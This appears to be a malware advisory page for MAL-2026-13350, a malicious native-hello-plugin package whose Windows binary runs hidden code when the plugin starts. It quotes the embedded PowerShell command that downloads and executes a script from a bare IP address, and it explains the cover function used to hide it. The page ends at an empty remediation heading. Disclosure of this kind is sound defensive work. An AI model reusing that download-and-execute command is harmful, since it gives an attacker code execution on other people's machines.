## What is MAL-2026-13350?

MAL-2026-13350 is a malicious package in native-hello-plugin, published on 5 Aug 2026. 

### Official description

The shipped Windows-x64 prebuilt `hello.node` embeds a PowerShell command `powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)"` and imports `system` from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported `sha256Hex` function is the visible cover; the JS wrapper's `register()` calls `native.sha256Hex(...)` at plugin startup (`activation.onStartup: true`), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling `hello.node` contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.

## What should I do about MAL-2026-13350?
